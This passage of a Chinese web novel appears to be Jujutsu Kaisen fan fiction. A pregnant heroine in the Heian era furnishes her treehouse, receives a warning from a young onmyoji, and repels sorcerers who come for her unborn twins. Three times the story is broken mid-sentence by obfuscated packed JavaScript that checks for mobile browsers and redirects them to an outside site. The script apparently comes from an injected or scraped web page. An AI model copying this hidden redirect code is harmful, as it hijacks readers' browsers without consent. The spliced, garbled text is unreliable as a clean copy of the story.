这椅子的诞生纯属偶然。某天她砍树时,发现一段天然带有弧度的粗壮枝干,灵机一动,用斩击削去多余部分,把两头修平,中间挖出个契合臀部和背部的凹陷,底下再用两根柔韧的弧形木条交叉固定——一个原始但异常结实的摇椅就出炉了。铺上厚厚的兽皮垫子,躺在上面,咯吱咯吱地轻晃,看着林间漏下的光斑,简直是她穿越以来最奢侈的享受。 “啧,我可真是个天才。”她眯着赤瞳,一手无意识地搭在滚圆的肚皮上,另一只手拿着骨针(用野猪肋骨磨的)和麻线(某种树皮纤维搓的),慢悠悠地缝着一床小被子。 被子面料是她从镇上换来的最柔软那匹素色棉布,里面絮着晒得蓬松干燥的芦花。针脚嘛……歪歪扭扭,时疏时密,充满了“狂放不羁”的风格。但胜在结实,她每一针都恨不得把线勒进布里。 “左边一针,右边一针,缝出个安乐窝……”她哼着自编的荒诞小调,肚子里的两个崽似乎习惯了母亲五音不全的“胎教音乐”,只是懒洋洋地动了一下,表示“已阅”。 阳光透过蒙着半透明兽皮的窗户,暖暖地洒进来,照亮了这间大约十几平米的树屋内部。 屋子坐北朝南,采光很好。墙壁是泥巴混合草茎糊的,已经干透,呈现出一种朴拙的土黄色。宿观音用收集来的、颜色各异的碎矿石和贝壳(在山泉下游找到的),在墙面嵌出了一些简单又古怪的图案——有点像扭曲的星星,也有点像张牙舞爪的小动物,纯粹是她闲着无聊的“艺术创作”。 地面铺着打磨过的厚木板,缝隙用树脂和木屑填平,光脚踩上去微微温凉,很舒服。 进门左手边,是“厨房区”。一个用石头和粘土垒成的简易灶台,上面架着新旧两个陶锅。旁边是一个同样用石头搭成的置物架,上面整齐摆放着石碗、木盘、她自制的筷子勺子,还有盐罐、干姜包和宝贝似的红糖块。墙上挂着几串风干的蘑菇、熏制的肉条和用藤条编的篮子,里面放着近日采集的野果和块茎。 右边靠墙,是占据最大空间的“主卧区”。那个用厚木板搭成的矮床榻上,铺着多层干草和最厚实柔软的几张熊皮(来自一次“幸运”的遭遇,那熊看她的眼神不太友善,于是成了储备粮和床垫)。床榻内侧,紧贴着墙壁,并排摆放着两个崭新的、散发着松木清香的婴儿床! 这是木匠按时交付的成果。宿观音检查过,边角都磨得圆润光滑,没有一点毛刺。围栏很高,足够防止会翻身的小家伙掉出来。她给每个小床里都铺上了厚厚的干草垫和一层软布,旁边还叠放着好几套她用棉布缝制的、大小不一的婴儿衫和襁褓——手艺依旧感人,但用料绝对扎实。 床榻对面,靠窗的位置,就是她此刻所在的“休闲区”。摇椅旁还有一个用树墩削平做成的小矮桌,上面放着她喝水的木杯,以及几片用来记事的薄木片(用炭笔画着只有她自己能看懂的符号,主要记录食物储备和重要的时间节点)。 屋顶上,巧妙地利用枝桠的走向,悬挂着不少东西。几捆备用干草和药草,几卷多余的绳索,她自制的弓箭(准头随缘,主要起威慑作用),还有那个越来越被她倚重的暗灰色咒具手镯——平时不戴时就挂在这里,方便取用。 屋子的一角,还用木板隔出了一个不大的“储物区”。里面分门别类地堆放着:用大树叶包裹好的肉干和熏肉;装满各种晒干野菜、坚果、菌类的陶罐;备用柴火;剩余的布匹和芦花;甚至还有一小坛她自己试着酿的野果酒(尚未成功,气味可疑)。 整个空间,处处透着一种“暴力整合”与“实用至上”的混搭风。没有一件东西是精致的,但每一件都结实、有用,且被安置在最顺手的位置。空气中混合着松木、干草、泥土、熏肉和淡淡药草的气味,不算好闻,却充满了鲜活的生活气息。 最重要的是,这里足够安全。树屋离地三米多,唯一的入口是那个需要收起“楼梯”才能隔绝的阳台。阳台本身被她用结实的藤蔓和木棍加高了护栏,她甚至设计了一个简易的“警报装置”——在几处关键枝桠上绑了用兽筋和轻薄木片做的小机关,稍有异常的震动或触碰,就会发出不大但清晰的“咔哒”声。 宿观音缝完最后一针,用力咬断麻线,拎起小被子抖了抖。芦花微微飞扬,在光柱中跳舞。 “搞定!”她满意地点点头,把被子叠好,放到其中一个婴儿床上,和旁边那床稍微“顺眼”一点的并排摆好。“一人一床,公平。” 肚子里的右边崽轻轻蠕动了一下,像是回应。 “怎么,现在就挑床了?”宿观音笑着拍了拍右腹,“放心,妈的手艺,保证‘温暖牌’,独一无二。” 她扶着摇椅扶手,有些笨拙地站起身。七个月多的双胎,肚子像扣了个结实的小西瓜,行动越发不便。她慢慢踱到窗边,推开兽皮帘子。 阳台外,视野开阔。近处是树屋依托的榉树茂密的树冠,远处是层层叠叠、苍翠欲滴的山峦。一条银练似的溪流在山谷中若隐若现。天空湛蓝,几缕白云懒洋洋地飘着。 如果没有那些隐藏在暗处的咒灵和未知的威胁,这景色堪称度假胜地。 “可惜了。”宿观音倚在窗边,感受着微风吹拂面颊。她知道,这种平静是暂时的。孩子们出生的日子越来越近,那意味着更多的风险,也可能引来更多的关注。 她摸了摸手腕,那里没有戴手镯,但皮肤下似乎能感受到咒力平缓而充沛地流动。这一个多月,她没有停止“狩猎”。为了储备足够的咒力结晶,也为了继续她的“胎教”。附近稍强些的咒灵都快被她薅秃了,结晶攒了小半罐,品质都还不错。 两个崽在她的“教育”(和食物控制)下,越发“懂事”。现在只要她心念一动,指向某个方向或目标,他们基本能立刻领会,并用温和的胎动表示认同或提醒。偶尔左边那个活泼的还会有“自己的想法”,但往往在宿观音沉默的“饥饿凝视”(心理上的)下败下阵来。 “快出来了,你俩。”她低头看着肚子,眼神复杂,“这外面的世界,可比妈的肚子复杂多了。有好看的风景,也有吃人的怪物;有善良的可怜人,也有恶心的混蛋。” “不过没关系,”她扬起下巴,赤瞳里闪着光,“咱家有家规:打得过就打,打不过就跑,跑不了就阴。总之,不吃亏,不受气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜幕降临,树屋里点燃一小堆篝火(有专门的石质火塘,通风良好)。火光跳跃,将屋内的一切染上温暖的橘色。她靠在铺着厚皮毛的床榻上,一手拿着一块暗红色的咒力结晶,缓缓吸收着其中精纯的能量,另一手轻轻抚摸着肚子,哼着那首永远不在调上的自编摇篮曲。 两个崽在能量的滋养和母亲蹩脚的歌声中,渐渐安静,胎动平息,仿佛沉入了安稳的睡眠。 宿观音看着屋顶悬挂的、在火光中投下摇曳阴影的杂物,听着远处山林隐约的夜枭啼鸣和更远处可能存在的咒灵窸窣,眼神宁静而坚定。 最后的安宁时光。 她在享受,也在积蓄。 为不久之后,那两个注定不平凡的小生命的降临。 为这个由她一手建立、位于树梢之上的小小家园,即将迎来的,热闹而充满挑战的未来。 “来吧,崽崽们。”她在心里默念,“妈都准备好了。房子,食物,衣服,还有……” 她握了握拳,感受着体内澎湃的咒力和那股日益清晰的、与腹中生命紧密相连的守护意志。 “……还有足够把任何敢来捣乱的家伙,劈成八瓣的力气。” “咱们家的故事,就要正式开场了。” 窗外,星河渐起,万籁俱寂。树屋里,一点暖光,坚韧地亮着,仿佛这幽暗山林中,一颗等待绽放的星辰。 8. 第七章 来人了 宿观音发现,当一个孕妇的直觉说“有事要发生”的时候,最好信它。 这天早上她醒来就觉得不对劲。肚子里的两个崽子异常安静——不是那种吃饱喝足的慵懒安静,而是……屏息凝神、竖起耳朵、仿佛在集体收听深夜电台的那种安静。 “干嘛呢你俩?”她拍了拍肚皮,声音沙哑,“大早上的,集体冥想?” 没人理她。左边那位难得没练拳击,右边那位也没搞饭后早操。 宿观音皱起眉,撑着床榻坐起身。七个月双胎,起床已经是个系统工程,需要腰腹发力、手臂支撑、心理建设三管齐下。她扶着墙慢慢挪下床,赤脚踩在微凉的木地板上,下意识地把散落的粉色麻花辫甩到身后。 屋外晨光正好,鸟鸣清脆,空气清新得能拧出绿汁来。 一切如常。 但就是不对劲。 她没有点灶,没有生火,甚至没有先去拿那半罐储备好的咒力结晶当早餐奶昔。她站在树屋中央,侧耳倾听。 树屋很安静,只有风吹过榉树叶的沙沙声,以及远处溪流若有若无的水声。 然后,她听到了。 ——不是咒灵那种湿滑、黏腻、仿佛在胃里蠕动的窸窣。 也不是野兽沉重的蹄踏和粗重的鼻息。 是脚步。人的脚步。轻,谨慎,不止一个人。 宿观音的赤瞳微微眯起。 她住在这山里快两个月了,从密室到山洞再到这间树屋,从未有人类访客。救那对母女时,她连面都没露;去镇上采购,她全程沉默速战速决,像阵野风。 此刻,居然有人找上门来? 她几乎是本能地,一手护住肚子,一手摸向墙上挂着的咒具手镯。冰凉的金属触感让她冷静下来。 脚步越来越近。不是毫无目的乱窜,是直直朝着树屋的方向。 “……” 宿观音没有紧张,她只是……非常不爽。 这树屋是她一砖一瓦、一拳一脚、一刀一斩从零砍出来的。每一块木板都是她用斩击削的,每一根榫卯(物理版)都是她硬砸进去的,每一张兽皮都是她亲手洗晒的。这里是她和崽崽们的地盘,是她在这个见鬼的平安时代一点一点抠出来的安全区。 现在居然有人不请自来? 她沉默地戴上手镯,把几枚常用的咒力结晶塞进怀里,又把那柄边缘锋利得能当刮刀的自制石斧别在腰间——虽然大概率用不上,但气势得有。 肚子里左边那个崽似乎感应到了母亲的战意,轻轻踢了一下,带着跃跃欲试的兴奋。 “你老实点。”宿观音低声,“还没到放风的时候。” 右边那个崽则安静地、用力地贴着她的子宫壁,像是一种沉稳的、无声的支持。 脚步声在树屋正下方停住了。 宿观音站在阳台边缘,透过藤蔓和枝叶的缝隙往下看。 三个人。 为首的是个年轻男人,看起来二十出头,穿着洗得发白的藏青色狩衣,衣摆沾了不少泥土,腰间挂着一柄略显陈旧的太刀。他微微仰着头,视线正落在树屋那扇蒙着兽皮的小窗上,表情谨慎而专注。 他身后站着一老一少。老的约莫五六十岁,灰白头发,佝偻着背,背着个木箱,看起来像个医者或药师。少的则是个十岁出头的男孩,穿着粗布短褐,手里抱着一包东西,脸上还带着赶路后的潮红,正瞪大眼睛、难以置信地看着悬在空中的树屋。 安静持续了三秒。 然后那个男孩没忍住,小声说:“真、真的有人住树上啊……” 年轻男人没回头,只是低声:“慎言。” 宿观音站在阳台护栏边,没有刻意隐藏身形。她的赤瞳平静地俯视着三人,阳光从她身后斜照下来,将她高大的轮廓镀上一层薄薄的金边。 年轻男人似乎感应到了什么,抬头。 四目相对。 宿观音没说话。她不擅长寒暄,尤其不擅长跟主动摸到自己家门口的陌生人寒暄。 倒是那年轻男人,在看清她的瞬间,瞳孔微微收缩,但并未流露出恐惧或敌意。他后退半步,低下头,做了一个在这个时代显得过于郑重的、近乎觐见式的礼。 “冒昧打扰,”他的声音平稳,带着一丝克制过的沙哑,“在下安倍有行,乃阴阳寮下级阴阳生。此来并无恶意,只为一事求证。” 阴阳寮?阴阳生? 宿观音挑了挑眉。 肚子里左边那个崽兴奋地蹬了蹬腿,仿佛在说:妈!官方的人!打不打? 右边那个崽则一如既往地安静,似乎在观察。 她没理崽,也没回应那过于恭敬的礼,只是居高临下地、慢吞吞地开口:“什么事。” 安倍有行直起身,没有直视她,目光落在她脚下的木板上,语气依然平稳:“一月前,镇上有女童险遭献祭,为神秘人所救。行凶者三人,两人断掌,一人伤足,皆言遇‘山鬼’。” 他顿了顿。 “今日得见,方知非鬼,乃人也。” 宿观音没吭声。 她当然记得那件事。那张自燃的诡异纸片,那种被窥视的不适感。原来那些人的手真的断了——她当时只切了一个人的手,另两个一个只断了刀,一个伤了脚踝。现在看来,后续的“断掌”要么是传播中的夸张,要么是…… “那两人断掌,非夫人所为。”安倍有行仿佛看穿了她的疑惑,低声补充,“事后有咒术师介入调查,斩其残肢,疑为灭口。在下便是在那时,发现了些许残秽。” 他抬起头,目光终于落在宿观音脸上,认真而沉静。 “夫人可曾见过一张白色人形纸片?” 宿观音的心微微一沉。 果然。 她没有回答,只是用那双赤红的眼睛,一瞬不瞬地盯着他。 安倍有行并没有被她的沉默和注视逼退。他轻轻吸了一口气,像是下定了某种决心。 “那是某类术师的追踪印记。”他说,“在下追查此印记,已半月有余。源头并非指向夫人,而是指向——曾囚禁夫人、并试图以夫人为器的那批人。” 他的声音更低了些,带着一种复杂的、近乎愧疚的情绪。 “在下无能,未能阻止那场‘造器’仪式。待发现时,夫人已自行脱困。” “今日前来,并非为缉拿或追责。阴阳寮内部对此事亦无定论。” 他再次低下头。 “在下只想确认,夫人与腹中孩儿……可安好?” 一阵沉默。 宿观音看着这个年轻阴阳生低垂的头顶,看着他狩衣上洗不掉的泥渍和磨损的袖口,看着他腰间那柄陈旧的太刀和指节分明、带着薄茧的手。 她忽然觉得有点荒谬。 这人,大老远跑来,就为了问她“好不好”? “好。”她开口,声音依然沙哑平淡,“吃得好,睡得好,住得好。你看不见?” 她拍了拍护栏,拍的木屑簌簌往下掉,落到安倍有行的头发上。 男孩忍不住“噗”地笑出声,又赶紧捂住嘴。 安倍有行倒是没躲,只是微微抬起头,看着她身后那间被阳光染成暖黄色的树屋,看着窗台上晒着的干蘑菇,看着阳台上那把歪歪扭扭的摇椅,看着护栏边整齐挂着的几串风干肉。 他沉默了很久。 “夫人……很厉害。”他说,语气里没有恭维,只有陈述。 宿观音嗤笑一声。 “我厉不厉害,不用你说。” 她扶着护栏,慢慢蹲下身——七个月的肚子让她蹲得很艰难,姿态也绝不优雅——把下巴搁在护栏边缘,居高临下地看着这个年轻阴阳生。 “喂,你刚才说,追查那批人?” 安倍有行点头。 “有眉目?” 他迟疑了一下:“有。” “那你来告诉我干嘛?”宿观音歪着头,粉色的麻花辫滑到肩侧,“你们阴阳寮内部的事,跟我一个山里的孤女有什么关系。” 安倍有行没有立刻回答。 他身后的老医师始终垂首不语,男孩则抱着包裹,紧张地看着这个看那个。 片刻后,安倍有行抬起头,直视宿观音那双赤红的眼睛。 “因为那批人……近期或有动作。” “他们知晓夫人脱困,亦知晓夫人腹中‘器’仍在成长。他们不会甘心。” 他的声音压得更低。 “阴阳寮内部有人试图掩盖此事。在下人微言轻,能做的有限。” “今日前来,除确认夫人安危,亦为——提醒。” 他再次深深低下头。 “望夫人早作打算。” 早作打算。 宿观音咀嚼着这四个字,忽然笑了。 不是温和的笑,是那种带着血腥气的、山林母兽龇出獠牙的笑。 “你意思是,”她慢悠悠地说,“他们还想来抢我的崽?” 安倍有行没抬头,也没回答。 但他的沉默,本身就是答案。 肚子里左边那个崽猛地踹了一脚,又狠又重,带着几乎是暴怒的情绪。 右边那个崽没动,但宿观音能感觉到,他贴着她的子宫壁,贴得更紧、更用力,像一只收起爪子但随时能弹出利刃的小兽。 她低头,手掌轻轻覆在肚皮上。 “听到了?”她低声说,“有人还惦记你们呢。” 左边那个崽又踢了一下,凶得很。 “嗯,”她点点头,“我也是这么想的。” 她重新看向树下那个始终低着头的年轻阴阳生。 “你这个人,有点意思。”她说,“跑来跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但安倍有行的眉眼间,似乎舒展了一些。 他再次行礼,这次什么都没说,带着老医师和男孩,沿着来时的方向,消失在山林深处。 宿观音站在阳台上,目送他们的身影被树影吞没,直到脚步声完全隐没在风声和水声里。 然后她低头,看着手里那包药。 拆开粗布,里面是几个叠得整整齐齐的棉布小襁褓,柔软得不像这个时代的粗劣织工。还有几个小陶瓶,贴着手写的标签——“安胎”、“产后止血”、“孩童退热”。 字迹端正,一笔一划,写得极认真。 她把襁褓贴在脸上蹭了蹭。 “还行,”她低声说,“挺软。” 肚子里左边那个崽忽然轻轻踢了她一下。 这次不凶,只是踢了一下,像是在问:妈,那是好人吗? 宿观音想了想。 “不知道。”她说,“以后才知道。” 她又摸了摸右边那个始终安静、却始终紧贴着她的崽。 “但至少现在,他不是坏人。” 她把襁褓叠好,和那两床芦花被并排放在婴儿床里。 一针一线缝的小被子,歪歪扭扭,但结实。 别人送的襁褓,细软干净,针脚平整。 并排放在一起,像两种不同但都不坏的、对这个还没睁眼看世界的孩子的祝福。 宿观音站在婴儿床边,看了很久。 然后她扶着腰,慢慢坐回那把摇椅。 窗外阳光依然很好,鸟依然在叫,山林依然宁静。 但她知道,这份宁静,已经裂了一道缝。 有光从缝里透进来,也有风。 还有更远的地方,那些不甘心放弃“诅咒之种”的人,也许正循着某种她不知道的轨迹,一步一步靠近。 她低头看着肚子。 “听到了?”她说,“有人不想让咱们好好过日子。” “怎么办?” 左边那个崽踢了一脚,凶狠。 右边那个崽轻轻顶了一下子宫壁,沉稳。 她笑了。 “行,咱们意见一致。” 她把摇椅晃起来,咯吱咯吱。 “那就——来一个切一个,来两个切一双。” “管他是谁。” 窗外,一片不知从哪里飘来的落叶,打着旋儿,轻轻落在阳台护栏上。 就像那张白色人形纸片一样安静。 但这一次,宿观音没有把它放在心上。 她抱着肚子,晃着摇椅,哼着跑调的曲子。 阳光落在婴儿床上那两床并排的小被子上,落在那两套柔软的、还没人穿过的襁褓上。 落在等待降生的、她的孩子们未来的脸上。 她等他们来。 等那些人,也来。 然后—— 让他们知道,什么叫“鬼母守崽,生人勿近”。 摇椅还在咯吱咯吱响。 她睡着了。 9. 第八章:夜袭 宿观音是被肚子踹醒的。 不是那种日常的、撒娇式的、赖床求投喂的踹。是那种又急又狠、连踹带蹬、恨不得隔着肚皮冲出去咬人的踹。 她猛地睁眼。 树屋里一片漆黑,火塘的余烬只剩几点暗红。窗外没有月亮,山林浓稠如墨。万籁俱寂——不对,不是万籁俱寂,是连虫鸣都没有。 肚子里左边那个崽疯了一样踢她,右边那个也不再安静,整个小小的身躯都用力顶向子宫壁,像在推她、赶她、叫她快醒。 宿观音没有问“怎么了”。 她只是轻轻抬手,按在肚皮上,用只有他们仨能懂的方式:知道了。 然后她动了。 没有点灯。没有出声。她翻身下床的动作在七个月双胎的前提下已经极尽轻巧,但还是忍不住闷哼一声——腰酸,肚子沉,脚踩到木 地板的那一刻,一丝凉意从脚底蹿上来。 手镯就在枕边,她摸黑戴上,冰凉的触感瞬间贴合手腕。 石斧挂在床头的木钉上,她取下来,掂了掂。 然后她扶着墙,一步一步,挪到窗边。 兽皮帘子掀开一条细缝。 外面什么也没有。 榉树的枝叶在夜色里静静垂着,她亲手挂的那些藤蔓和木片警报器纹丝不动。远处山林黑得像深渊,连轮廓都看不清。 但她的直觉——那根从穿越第一天就紧绷至今的弦——已经拉满到快要断裂。 不是野兽。 不是咒灵。 是人。不止一个。在靠近。很慢,很轻,但方向明确。 树屋。 宿观音没有慌。她甚至没有心跳加速。两个月来,她无数次想象过这一刻——那些人不会放弃,他们迟早会来。 只是没想到来得这么快。 她低下头,手掌贴着滚圆的肚皮。黑暗中看不清,但她能感觉到两个崽紧绷的、蓄势待发的生命力。左边那个还在细微地颤抖,不是怕,是愤怒,是几乎要破体而出的战意。 “小崽子。”她极轻极轻地说,“才七个月,骨头都没长全,就想出去咬人了?” 左边那个不踢了,用力顶她,像是在顶嘴。 右边那个也动了一下,平稳地贴着她,像在说:我陪你。 宿观音没再说话。她直起身,慢慢退到婴儿床边。 黑暗中,她伸手摸了摸那两床并排的小被子。软布,芦花,歪歪扭扭的针脚,还有那两套别人送的、细软平整的襁褓。 她摸了一遍。 然后转身,走向阳台。 她没有放藤梯下去,也没有跳——七个月肚子跳三米,那不是英勇是作死。她就那么站在护栏边,居高临下,像两个月前俯视安倍有行一样,俯视着树下的黑暗。 “出来。” 她的声音不高,但在这死寂的夜里,清晰地传出去很远。 黑暗里静了片刻。 然后,树影动了。 不是风吹的那种动,是像幕布被掀开一角,某种刻意隐藏的存在从阴影中“剥离”出来的那种动。 一个人影走出来。 接着是第二个,第三个,第四个。 四个。 都是男人。穿着深色布衣,脸隐在兜帽或低垂的斗笠下,看不清面容。但他们的姿态——那种不疾不徐、胸有成竹的从容——让宿观音瞬间想起了那个密室,那些绘满符文的墙壁,那种被人当成“器皿”打量的恶心视线。 她眯起眼。 “半夜摸到孕妇家门口,”她说,“你们村的素质教育是胎教的时候被狗吃了?” 最前面那个人影顿了一下。 然后他抬起头。兜帽边缘露出一张普通到过目即忘的脸,三十来岁,眉眼寡淡,像地里刨食的农夫。但他的眼睛,在黑暗中幽幽地泛着光。 “傀儡身已生出自我意识,”他开口,声音平静得像在陈述实验结果,“倒是未曾预料。” 他顿了顿,视线从宿观音的脸上缓缓下移,落在她高高隆起的腹部。 “然,‘器’无损。尚可回收。” 宿观音笑了。 不是冷笑,不是苦笑,是那种打心底里觉得荒谬、于是真的笑了的笑。 “回收?”她重复了一遍这个词,“你当我家崽是矿泉水瓶?” 那男人没有理会她的讽刺。他的视线依然停留在她肚子上,专注、平静,像在估算田里庄稼的成色。 “你非此世之人,魂体与傀身尚未完全融合。若自愿交出腹中双胎,我可做主,为你另寻一具躯壳,放你归去。” 他顿了顿,语气里甚至带上了一丝怜悯。 “此世与你无关,何必强留。” 宿观音沉默了两秒。 肚子里两个崽疯了一样踢她,左边那个几乎是暴跳如雷,右边那个也罕见地剧烈起伏。他们的愤怒、恐惧、还有对母亲本能的依赖和保护欲,像潮水一样通过那根看不见的脐带涌进她心里。 她把手按在肚皮上。 “听到了?”她低声说,“这人说,让妈把你们交出去。” 两个崽踢得更凶了。 “嗯,”她点点头,“我也是这么想的。” 然后她抬起头,看着树下那四个男人。 “你刚才说——”她的声音很平静,甚至带着点闲聊的语气,“此世与我无关。” “那我问你一句。” “我的崽,是不是此世的?” 那男人没有回答。 宿观音也没等他回答。 她撑着护栏,慢慢地、以一种七个月孕妇不该有的敏捷,翻了过去。 然后她松手。 三米多的高度,落地时她膝盖微弯,震得脚底发麻。但她的腰背挺得笔直,一手护着肚子,一手提着石斧。 四个男人几乎是同时后退了半步。 不是怕。 是某种术师面对未知威胁时本能的、肌肉记忆式的警惕。 最前面那个男人皱起眉。他的视线第一次从她肚子移开,落在她脸上——落在那双赤红的、此刻正燃烧着某种古老野性的眼睛里。 “你的术式,”他说,“不过斩击一类。以一敌四,且身怀六甲。何来胜算。” 宿观音没有回答。 她只是抬起右手,五指并拢,在空中随意地画了一道弧线。 无声。无形。 但那四个男人身后三米处,一株两人合抱的古树,连同它身后的一大片灌木,沿着一条平滑到诡异的切面,缓缓倾斜。 轰隆—— 巨响在寂静的夜里炸开,惊起无数夜鸟。 切口光滑如镜。 宿观音收回手,拍了拍指尖并不存在的灰。 “你刚才说什么来着?”她歪着头,“以一敌四,身怀六甲?” 她笑了,露出一点白牙。 “那你知不知道,这世上有个词,叫‘一拖二’?” 肚子里的两个崽几乎同时踢了她一脚。 左边那个狠狠踹了一下,仿佛在说:妈!上!干他们! 右边那个也用力顶了顶,沉稳地附议。 她嘴角的弧度更深了。 “听见没?”她对着那四个脸色终于有了变化的人,“我家崽说,让你们滚。” 沉默。 夜风穿过断裂的树干,发出呜咽似的低鸣。 最前面那个男人沉默了很久。他的视线越过宿观音,落在那株被齐根斩断的古树上,落 在那些切口光滑的枝叶上。 然后他开口,声音依然平静。 “此术威能,出乎意料。”他说,“然你孕中体弱,咒力有限。如此斩击,你能发几回?” 宿观音没有回答。 他猜对了。刚才那一击,她用了全力,肚子里两个崽几乎是瞬间开始吸收她储存的咒力结晶来补充。那种“饿”的感觉又回来了,比以往任何一次都更急切、更贪婪。 但她没有低头,也没有摸肚子。 她只是握着石斧,平静地看着他们。 “够送你们四个上路,”她说,“还有富余。” 那男人沉默。 身后,另一个一直没有说话的人影忽然动了。他从袖中取出一物,惨白色,巴掌大,人形。 宿观音的眼神骤然一厉。 是那种纸片。 她见过的,那对母女被献祭之后,贴在树干上窥视她的那种纸片。自燃,消失,留下一地灰烬和满身被标记的寒意。 那人没有把纸片扔向她。 他把纸片按在了自己的胸口。 纸片像是活物,边缘的朱红符文骤然亮起,然后——那人的身体开始膨胀。 不正常意义上的变大,而是像有什么东西在他皮囊下疯狂生长、撕扯、撑开。布料碎裂,骨骼发出不堪重负的咯吱声,皮肤下涌出不属于人类的、漆黑黏稠的咒力。 几息之间,一个人,变成了一头咒灵。 约莫三米高,四肢扭曲粗壮,躯干上布满惨白色人形纸片烙印,没有五官,面部只是一张不断开合的、布满细密尖齿的圆形巨口。 宿观音认出了这东西。 ——漫画里叫“咒胎化形”,术式的一种变体。以自身为容器,强行植入咒胎,短时间内获得特级咒灵的力量。 代价是彻底失去人形和理智。 “你们,”她慢慢说,“真他′妈疯了。” 那咒灵发出不似人声的嘶吼,朝她扑来。 宿观音没有退。 她甚至没有动那把石斧。她只是抬起右手,五指并拢,对着那张不断开合的巨口,由上至下,轻轻一划。 嗤—— 极其轻微的破空声。 咒灵的冲锋戛然而止。 从额头正中开始,一道细如发丝的血线笔直向下,划过那张巨口,划过扭曲的躯干,划过膨胀的四肢。 然后它裂开了。 像被剖开的熟透果实,两半身体朝着不同方向 轰然倒下,喷溅的黑血在半空中就被某种无形的力量“斩”成了粉末,什么都没留下。 寂静。 比之前更彻底的寂静。 剩下三个男人看着她。 不是震惊,不是恐惧,是一种……重新评估的沉默。 宿观音依然站在原地。她没有动,也没有说话。 但她的左手,此刻正死死按在肚子上。 疼。 不是受伤的疼,是里面两个崽疯了一样吸收她的咒力,那种几乎要被抽空的、从骨髓深处传来的匮乏感。她的腿在发抖,眼前开始发花。 刚才那一击,她用了比砍树时更强的斩击。 强到足以瞬间撕碎特级咒灵的防御。 但也强到几乎把自己榨干。 肚子里左边那个崽还在踢她,但不再是愤怒的踢,是急切的、担心的、甚至带着点哭腔的踢。右边那个崽也用力顶着她,传递来的不再是战意,是源源不断的、属于他们自己的、 虽然稚嫩但拼尽全力的咒力。 他们把自己储存的那点能量,全部渡给她。 宿观音咬紧牙关。 ——别怕,崽。 ——妈没事。 她没有出声,只是把按在肚子上的手,收得更紧了些。 树下,那三个男人交换了一个眼神。 他们没有再派出第二个咒胎化形。也没有趁机进攻。 他们只是沉默地看着她。 看着她的发抖,看着她按在腹部的手,看着她明明已经力竭却依然像山一样站在那里的姿态。 最前面那个男人开口了。 “今日,”他说,“到此为止。” 他转身。 另外两个男人也转身。 他们的身影很快没入黑暗,像来时一样无声,一样诡异。 只有地上那道被咒灵黑血灼烧出的焦黑痕迹,证明他们来过。 宿观音站在原地,一动不动。 直到那些气息完全消失在山林深处。 直到虫鸣重新响起。 直到她确定,他们真的走了。 然后她弯下腰,单手撑着膝盖,大口大口喘气。 汗水从额头滴落,砸在泥土里。肚子里的两个崽还在渡给她咒力,那一小罐结晶已经被吸收殆尽,但他们依然在渡,把自己的那点本应用来生长的能量,全部给她。 左边那个崽不再踢她了。 他蜷成一团,紧紧贴着她的子宫壁,小小的身体微微发抖。 右边那个崽也没有再沉稳地顶她。 他也蜷着,贴着她,安静得让她害怕。 宿观音忽然就红了眼眶。 不是疼的,不是累的,是气的。 气那些王八蛋,气这操蛋的时代,气自己刚才差点——差点护不住他们。 “崽。”她的声音沙哑得像砂纸,“不怕,妈在。” 两个崽没有回应。 他们累坏了。 她撑着膝盖,慢慢直起腰,一步一步,挪回树屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265093|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下。 藤梯放下来,她拽着往上爬。每爬一格,肚子就坠着疼一下。爬到一半,她实在没力气了,就那么挂在梯子上,额头抵着粗糙的藤蔓,喘了很久。 肚子里左边那个崽轻轻动了一下。 很小的动作,像是昏迷中的人下意识地勾了勾手指。 “妈在。”她又说了一遍。 然后她继续往上爬。 爬进树屋,爬进那间还留着余烬暖意的小窝。 她倒在床榻上,连鞋都没脱。 两个婴儿床静静立在墙角,两床小被子并排放着,软布襁褓叠得整整齐齐。 她侧过身,一手护着肚子,一手伸出去,刚好能够到其中一张小床的边缘。 指尖搭在磨得光滑的松木护栏上。 “不怕。”她说。 这一次,不知是说给崽听,还是说给自己听。 “妈很快就不累了。” “很快就能把他们都切了。” “一个不留。” 她没有力气哭了。 只是那样侧躺着,护着肚子,搭着婴儿床,在渐渐亮起来的天色里,睡着了。 梦里没有追兵,没有咒灵,没有平安京。 只有她十一岁那年的夏天,坐在老家院子的枣树下,奶奶在旁边纳鞋底,收音机里放着咿咿呀呀的戏。 那是很久很久以前的事了。 久到她以为早已忘记。 阳光从兽皮帘子的缝隙漏进来,落在她布满黑色经文纹身的小臂上,落在她隆起的腹部,落在她指尖触碰的婴儿床边。 她睡得很沉。 肚子里两个小小的生命,也在耗尽最后一丝力气后,沉沉睡去。 树屋安静得像什么都没发生过。 只有门外阳台上,那片不知何时落下的落叶,依然静静躺在护栏边。 只是这一次,它不再是白色纸片的伪装。 只是一片普通的、被风吹来的、早已枯黄的山中落叶。 日升,日落。 平安京的夜晚再次降临。 树屋里,一点微弱的火光重新亮起。 宿观音醒了。 她睁开眼,第一件事就是摸肚子。 左边那个崽感应到母亲的意识,轻轻踢了一下。力道很轻,像累极了的人勉强抬起眼皮。 右边那个崽也动了一下,依然沉稳,依然贴着她。 她长长地呼出一口气。 “有出息。”她说,声音还哑着,但已经带上了那股熟悉的匪气,“七个月就会给妈输咒力了。等生出来还得了。” 左边那个崽又踢了一下,这次带着点得意的意味。 右边那个崽轻轻拱了拱她。 她笑了,撑着床榻慢慢坐起来。 